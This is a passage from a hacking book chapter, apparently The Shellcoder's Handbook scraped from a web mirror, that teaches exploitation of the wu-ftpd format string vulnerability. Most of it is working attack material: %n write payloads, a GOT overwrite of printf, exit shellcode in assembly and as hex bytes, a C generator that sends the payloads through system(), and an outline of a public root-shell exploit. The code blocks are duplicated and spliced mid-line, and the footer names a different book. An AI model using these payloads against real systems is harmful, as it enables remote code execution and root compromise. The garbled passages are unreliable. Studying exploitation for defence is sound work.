Controlling Execution for Exploitation

We can therefore retrieve all the data we like from the target process, but now we want to run code. As a starting point, let's try writing a dword (4 bytes) of our choice into the address of our choice, in wu- ftpd . The objective here is to write to a function pointer, saved return address, or something similar, and get the path of execution to jump to our code.

First, let's write some value to the location of our choice. Remember that parameter 272 is the beginning of our string in wu-ftpd? Let's see what happens if we try and write to a location in memory.

 ./dowu localhost $'\x41\x41\x41\x41%272$n' 1 

If you use gdb to trace the execution of wu-ftpd, you'll see that we just tried to write 0x0000000a to the address 0x41414141 .

Note that depending on your platform and version of gdb, your gdb might not support the following child processes, so I put a hook into dowu.c to accommodate this. If you enter a 1 for the third command line argument, dowu.c will pause until you press a key before sending the format string to the server, giving you time to locate the appropriate child process and attach gdb to it.

Let's run:

 ./dowu localhost $'\x41\x41\x41\x41%272$n' 1 

You should see the request Press a key to send the string . Let's now find the child process.

 ps -aux  grep ftp 

You should see something like this:

 root     32710  0.0  0.2  2016  700 ?        S    May07   0:00 ftpd:  accepting c ftp      11821  0.0  0.4  2120 1052 ?        S    16:37   0:00 ftpd:  localhost.l 

The instance running as ftp is the child. So we fire up gdb:gdb and then write

 attach 11821 

to attach to the child process. You should see something like this:

 Attaching to process 11821 0x4015a344 in ?? () 

Type continue to tell gdb to continue.

If you switch to the dowu terminal and press Enter, then switch back to the gdb terminal, you should see something like this:

 Program received signal SIGSEGV, Segmentation fault. 0x400d109c in ?? () 

However, we need to know more. Let's see what instruction we were executing:

 x/5i $eip 0x400d109c:     mov    %edi,(%eax) 0x400d109e:     jmp    0x400cf84d 0x400d10a3:     mov    0xfffff9b8(%ebp),%ecx 0x400d10a9:     test   %ecx,%ecx 0x400d10ab:     je     0x400d10d0 

If we then get the values of the registers:

 info reg eax            0x41414141       1094795585 ecx            0xbfff9c70       -1073767312 edx            0x0      0 ebx            0x401b298c       1075521932 esp            0xbfff8b70       0xbfff8b70 ebp            0xbfffa908       0xbfffa908 esi            0xbfff8b70       -1073771664 edi            0xa      10 

and so on, we see that the mov %edi,(%eax) instruction is trying to mov the value 0xa into the address 0x41414141 . This is pretty much what you'd expect.

Now let's find something meaningful to overwrite. There are many targets to choose from, including:

  • The saved return address (a straight stack overflow; use information disclosure techniques to determine the location of the return address)

  • The Global Offset Table (GOT) (dynamic relocations for functions; great if someone is using the same binary as you are; e.g., rpm)

  • The destructors (DTORS) table (destructors get called just before exit )

  • C library hooks such as malloc_hook, realloc_hook and free_hook

  • The atexit structure (see the man atexit)

  • Any other function pointer, such as C++ vtables, callbacks, and so on

  • In Windows, the default unhandled exception handler, which is (nearly) always at the same address

Since we're being lazy, we'll use the GOT technique, since it allows flexibility, is fairly simple to use, and opens the way to more subtle format string exploits. For more information on GOT, see www. wiley .com/compbooks/koziol .

Let's look briefly at the vulnerable part of wu-ftpd before we look at the GOT:

 void vreply(long flags, int n, char *fmt, va_list ap)    {        char buf[BUFSIZ];            flags &= USE_REPLY_NOTFMT  USE_REPLY_LONG;                            if (n)                      /* if numeric is 0, don't output  one; use n==0 in place of printf's */            sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' :  ' ');        /* This is somewhat of a kludge for autospout.  I personally  think that         * autospout should be done differently, but that's not my  department. -Kev         */       if (flags & USE_REPLY_NOTFMT)            snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 :  sizeof(buf), "%s", fmt);        else  vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 :  sizeof(buf), fmt, ap);  if (debug)                  /* debugging output :) */            syslog(LOG_DEBUG, "<--- %s", buf);        /* Yes, you want the debugging output before the client output;  wrapping         * stuff goes here, you see, and you want to log the cleartext  and send         * the wrapped text to the client.         */            printf("%s\r\n", buf);      /* and send it to the client */    #ifdef TRANSFER_COUNT        byte_count_total += strlen(buf);        byte_count_out += strlen(buf);    #endif        fflush(stdout);        } 

Note the bolded line. The interesting point is that there's a call to printf right after the vulnerable call to vsnprintf . Let's take a look at the GOT for in.ftpd .

 objdump -R /usr/sbin/in.ftpd 

<lots of output>

 0806d3b0 R_386_JUMP_SLOT   printf 

<lots more output>

We see that we could redirect execution simply by modifying the value stored at 0x0806d3b0 . Our format string will overwrite this value and then (because wuftpd calls printf right after doing what we tell it to in our format string) jump to wherever we like.

If we repeat the write we did before, we'll end up overwriting the address of printf with 0xa , and thus, hopefully, jumping to 0xa .

 ./dowu localhost $'\xb0\xd3\x06\x08%272$n' 1 

If we attach gdb to our child ftp process as before, we should see this:

 (gdb) symbol-file /usr/sbin/in.ftpd  Reading symbols from /usr/sbin/in.ftpd...done. (gdb) attach 11902 Attaching to process 11902 0x4015a344 in ?? () (gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000000a in ?? () 

We have successfully redirected the execution path to the location of our choice. In order to do something meaningful we're going to need shellcodesee Chapter 3 for an overview of shellcode.

Let's take a small amount of shellcode that we know will work, a call to exit(2) .

Note 

In general, I find it's better to use inline assembler when developing exploits, because it lets you play around more easily. You can create an exploit harness that does all the socket connection and easily writes snippets of shellcode if something isn't working or if you want to do something slightly different. Inline assembler is also a lot more readable than a C string constant of hex bytes.

 #include <stdio.h>   #include <stdlib.h>       int main()   {           asm("\                   xor %eax, %eax;\                   xor %ecx, %ecx;\                   xor %edx, %edx;\                   mov 
 #include <stdio.h> #include <stdlib.h> int main() { asm("\ xor %eax, %eax;\ xor %ecx, %ecx;\ xor %edx, %edx;\ mov $0x01, %al;\ xor %ebx, %ebx;\ mov $0x02, %bl;\ int $0x80;\ "); return 1; } 
x01, %al;\ xor %ebx, %ebx;\ mov
 #include <stdio.h> #include <stdlib.h> int main() { asm("\ xor %eax, %eax;\ xor %ecx, %ecx;\ xor %edx, %edx;\ mov $0x01, %al;\ xor %ebx, %ebx;\ mov $0x02, %bl;\ int $0x80;\ "); return 1; } 
x02, %bl;\ int
 #include <stdio.h> #include <stdlib.h> int main() { asm("\ xor %eax, %eax;\ xor %ecx, %ecx;\ xor %edx, %edx;\ mov $0x01, %al;\ xor %ebx, %ebx;\ mov $0x02, %bl;\ int $0x80;\ "); return 1; } 
x80;\ "); return 1; }

Here, we're setting the exit syscall via int 0x80 . Compile and run the code and verify that it works.

Since we need only a few bytes, we can use the GOT as the location to hold our code. The address of printf is stored at 0x0806d3b0 . Let's write just after it, say at 0x0806d3b4 onwards.

This raises the question of how we write a large value to the address of our choice. We already know that we can use %n to write a small value to the address of our choice. In theory, therefore, we could perform four writes of 1 byte each, using the low-order byte of our " characters output so far" counter. This will of course overwrite 3 bytes adjacent to the value that we're writing.

A more efficient method is to use the h length modifier. A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds to a pointer to a short int argument.

So if we use the specifier %hn we will write a 16-bit quantity. We will probably be able to use length specifiers in the 64K range, so let's give this a try.

 ./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1 

We get this:

 Program received signal SIGSEGV, Segmentation fault. 0x0000c35a in ?? () 

c35a is 50010, which is exactly what we'd expect. At this point we need to clarify how this value ( 0xc35a ) gets written.

Let's backtrack a little and run this:

 ./do_wu localhost abc 0 

wu-ftpd outputs this:

 200-index abc 

The format string we're supplying is added to the end of the string index (which is six characters long). This means that when we use a %n specifier, we're writing the following number:

 6 + <number of characters in our string before the %n> + <padding number> 

So, when we do this:

 ./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1 

we write (6 + 4 + 50000) to the address 0x0806d3b0; in hex, 0xc35a . Now let's try writing 0x41414141 to the address of printf :

 ./dowu localhost $'\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x%272$n%273$n' 1 

We get:

 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () 

So we jumped to 0x41414141 . This was kind of cheating, since we wrote the same value ( 0x4141 ) twiceonce to the address pointed to by parameter 272 and once to 273, just by specifying another positional parameter %273$ n.

If we want to write a whole series of bytes, the string will get complicated. The following will make it easier for us.

 #include <stdio.h> #include <stdlib.h>     int safe_strcat(char *dest, char *src, unsigned dest_len) {      if((dest == NULL)  (src == NULL))              return 0;             if (strlen(src) + strlen(dest) + 10 >= dest_len)              return 0;          strcat(dest, src);          return 1; }     int err(char *msg) {      printf("%s\n", msg);      return 1; }     int main(int argc, char *argv[]) {      // modify the strings below to upload different data to the wu-ftpd  process...      char *string_to_upload = "mary had a little lamb";      unsigned int addr = 0x0806d3b0;          // this is the offset of the parameter that 'contains' the start of  our string.      unsigned int param_num = 272;      char buff[ 4096 ] = "";      int buff_size = 4096;      char tmp[ 4096 ] = "";      int i, j, num_so_far = 6, num_to_print, num_so_far_mod;      unsigned short s;      char *psz;      int num_addresses, a[4];            // first work out How many addresses there are. num bytes / 2 + num  bytes mod 2.          num_addresses = (strlen(string_to_upload) / 2) + strlen(string_to_upload) % 2;            for(i = 0; i < num_addresses; i++)      {             a[0] = addr & 0xff;             a[1] = (addr & 0xff00) >> 8;             a[2] = (addr & 0xff0000) >> 16;             a[3] = (addr) >> 24;                          sprintf(tmp, "\x%.02x\x%.02x\x%.02x\x%.02x", a[0],  a[1], a[2], a[3]);                 if(!safe_strcat(buff, tmp, buff_size))                      return err("Oops. Buffer too small.");                 addr += 2;                 num_so_far += 4;      }          printf("%s\n", buff);            // now upload the string 2 bytes at a time. Make sure that  num_so_far is appropriate by doing %2000x or whatever.      psz = string_to_upload;          while((*psz != 0) && (*(psz+1) != 0))      {             // how many chars to print to make (so_far % 64k)==s             //              s = *(unsigned short *)psz;                 num_so_far_mod = num_so_far &0xffff;                 num_to_print = 0;                          if(num_so_far_mod < s)                     num_to_print = s - num_so_far_mod;             else                     if(num_so_far_mod > s)                           num_to_print = 0x10000 - (num_so_far_mod - s);                   // if num_so_far_mod and s are equal, we'll 'output' s  anyway :o)             num_so_far += num_to_print;                 // print the difference in characters             if(num_to_print > 0)             {                     sprintf(tmp, "%%%dx", num_to_print);                     if(!safe_strcat(buff, tmp, buff_size))                            return err("Buffer too small.");             }                 // now upload the 'short' value             sprintf(tmp, "%%%d$hn", param_num);             if(!safe_strcat(buff, tmp, buff_size))                     return err("Buffer too small.");                          psz += 2;             param_num++;      }            printf("%s\n", buff);          sprintf(tmp, "./dowu localhost $'%s' 1\n", buff);          system(tmp);            return 0; } 

This program will act as a harness for the dowu code we wrote earlier, uploading a string ( mary had a little lamb ) to an address within the GOT .

If we debug wu-ftpd and look at the location in memory that we just overwrote we should see:

 x/s 0x0806d3b0 0x806d3b0 <_GLOBAL_OFFSET_TABLE_+416>:   "mary had a little  lamb6@0_7@V 
 x/s 0x0806d3b0 0x806d3b0 <_GLOBAL_OFFSET_TABLE_+416>: "mary had a little lamb\026@\220_\017@V\004...(etc) 
4...(etc)

We see we can now put an arbitrary sequence of bytes pretty much wherever we like in memory. We're now ready to move on to the exploit.

If you compile the exit shellcode above then debug it in gdb, you obtain the following sequence of bytes representing the assembler instructions:

 \x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80 

This gives us the following string constant to upload using the gen_upload_string.c code above:

 char *string_to_upload =  "\xb4\xd3\x06\x08\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80";  // exit(0x02); 

There's a slight hack here that should be explained. The initial 4 bytes of this string are overwriting the printf entry in the GOT , jumping to the address of our choice when the program calls printf after executing the vulnerable vsnprintf() . In this case, we're just overwriting the GOT , starting at the printf entry and continuing with our shellcode. This is, of course, a terrible hack but it does illustrate the technique with a minimum of fuss. Remember, you are reading a hacking book, don't expect everything to be totally clean.

When we run our new gen_upload string, it results in the following gdb session:

 [root@vulcan format_string]# ps -aux  grep ftp ... ftp      20578  0.0  0.4  2120 1052 pts/2    S    10:53   0:00 ftpd:  localhost.l ... [root@vulcan format_string]# gdb   (gdb) attach 20578 Attaching to process 20578 0x4015a344 in ?? () (gdb) continue Continuing.     Program exited with code 02. (gdb) 

Perhaps at this point, since we're running code of our choice in wu-ftpd, we should take a look at what others have done in their exploits.

One of the most popular exploits for the issue was the wuftpd2600. c exploit. We already know broadly how to make wu-ftpd run code of our choice, so the interesting part is the shellcode. Broadly speaking, the code does the following:

  1. Sets setreuid() to , to get root privileges.

  2. Runs dup2() to get a copy of the std handles so that our child shell process can use the same socket.

  3. Works out where the string constants at the end of the buffer are located in memory, by jmp() ing to a call instruction and then popping the saved return address off the stack.

  4. Breaks chroot() by using a repeated chdi r followed by a chroot() call.

  5. Runs execve () in the shell.

Most of the published exploits for the wu-ftpd bug use either identical code or code that's exceptionally similar.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net